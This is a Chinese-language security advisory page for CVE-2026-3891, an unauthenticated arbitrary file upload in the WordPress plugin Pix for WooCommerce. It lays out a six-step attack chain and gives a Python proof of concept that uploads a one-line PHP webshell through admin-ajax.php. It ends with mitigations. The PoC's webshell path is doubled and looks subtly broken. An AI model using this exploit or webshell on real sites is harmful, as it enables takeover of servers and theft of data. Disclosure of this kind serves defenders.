IPBUF安全漏洞报告
English
CVE-2026-3891 CVSS 9.8 严重

CVE-2026-3891 Pix for WooCommerce 任意文件上传漏洞

披露日期: 2026-03-13

漏洞信息

漏洞编号
CVE-2026-3891
漏洞类型
任意文件上传/远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Pix for WooCommerce (WordPress插件)

相关标签

任意文件上传远程代码执行WordPress插件漏洞CVE-2026-3891权限绕过WooCommercePIX支付CVSS 9.8严重漏洞webshell

漏洞概述

CVE-2026-3891是WordPress插件Pix for WooCommerce中的一个严重安全漏洞。该插件用于处理巴西PIX支付网关集成。漏洞源于lkn_pix_for_woocommerce_c6_save_settings函数缺少权限检查和文件类型验证,导致未经身份验证的攻击者可以上传任意文件到服务器。由于缺乏安全验证,攻击者可上传恶意PHP文件并执行,最终实现远程代码执行(RCE),完全控制受影响的WordPress站点。此漏洞CVSS评分高达9.8,属于严重级别,对使用该插件的所有WordPress网站构成重大威胁。攻击者无需任何认证凭证即可利用此漏洞,使其成为高危攻击向量。

技术细节

漏洞存在于插件的lkn_pix_for_woocommerce_c6_save_settings函数中,该函数负责处理PIX支付设置保存操作。问题核心在于两个关键安全缺陷:首先,函数缺少WordPress capability检查(如manage_options权限验证),任何用户甚至未认证的访客都能调用该功能;其次,函数未对上传文件进行类型验证,允许任意文件扩展名和内容。攻击者可通过构造恶意HTTP请求,指定目标文件路径和内容,直接将PHP webshell上传到Web根目录。一旦文件成功写入,访问该文件即可触发代码执行,获得服务器完全控制权。漏洞影响版本从初始版本至1.5.0版本。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的WordPress版本和Pix for WooCommerce插件版本,确认版本<=1.5.0
STEP 2
步骤2: 构造恶意请求
攻击者构造包含恶意PHP代码的HTTP POST请求,目标是admin-ajax.php端点,action参数设置为lkn_pix_for_woocommerce_c6_save_settings
STEP 3
步骤3: 绕过文件验证
由于插件未进行文件类型验证,攻击者可直接上传.php文件,无需绕过MIME类型检查或文件扩展名限制
STEP 4
步骤4: 文件写入服务器
恶意文件通过不安全的文件处理逻辑被写入服务器指定目录,通常是wp-content或插件目录
STEP 5
步骤5: 代码执行
攻击者通过HTTP请求访问上传的webshell文件,传递cmd参数执行系统命令,获得服务器完全控制权
STEP 6
步骤6: 持久化控制
攻击者可进一步植入后门、窃取数据、横向移动或完全接管WordPress站点

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-3891 PoC - Arbitrary File Upload in Pix for WooCommerce # Target: WordPress site with vulnerable Pix for WooCommerce plugin (<= 1.5.0) TARGET_URL = "http://target-wordpress-site.com" # Path to upload webshell UPLOAD_PATH = "/wp-content/plugins/payment-gateway-pix-for-woocommerce/uploaded_pix_file.php" # PHP webshell content webshell = "<?php if(isset($_REQUEST['cmd'])){ system($_REQUEST['cmd']); } ?>" def exploit_file_upload(): """Exploit arbitrary file upload vulnerability""" endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Craft the malicious file upload request files = { 'file': ('pix_config.php', webshell, 'application/x-php') } data = { 'action': 'lkn_pix_for_woocommerce_c6_save_settings', 'setting_name': 'pix_config', 'lkn_pix_for_woocommerce_c6_setting1': webshell } try: print(f"[*] Sending exploit request to {endpoint}") response = requests.post(endpoint, data=data, files=files, timeout=30) if response.status_code == 200: print("[+] Request sent successfully") webshell_url = f"{TARGET_URL}/wp-content/{UPLOAD_PATH}" print(f"[+] Try accessing webshell at: {webshell_url}?cmd=whoami") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] exploit_file_upload()

影响范围

Pix for WooCommerce插件 <= 1.5.0 (所有版本)

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1) 删除或禁用Pix for WooCommerce插件;2) 在Web服务器配置中添加规则阻止对admin-ajax.php的未授权访问;3) 设置wp-content目录禁止执行PHP文件(.htaccess中添加php_flag engine off或相应nginx配置);4) 使用安全插件限制文件上传类型;5) 监控访问日志,查找异常的admin-ajax.php请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表